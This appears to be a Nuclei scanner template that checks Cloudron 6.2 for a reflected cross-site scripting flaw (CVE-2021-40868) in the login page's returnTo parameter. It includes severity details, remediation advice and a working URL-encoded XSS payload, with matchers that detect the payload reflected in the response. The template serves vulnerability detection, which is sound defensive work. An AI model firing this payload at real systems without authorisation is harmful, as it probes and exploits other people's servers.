id: CVE-2021-40868

info:
  name: Cloudron 6.2 Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
  reference:
    - https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40868
    cwe-id: CWE-79
  remediation: Upgrade to Cloudron 6.3 or higher.
  tags: cve,cve2021,xss,cloudron

requests:
  - method: GET
    path:
      - '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

# Enhanced by mp on 2022/03/06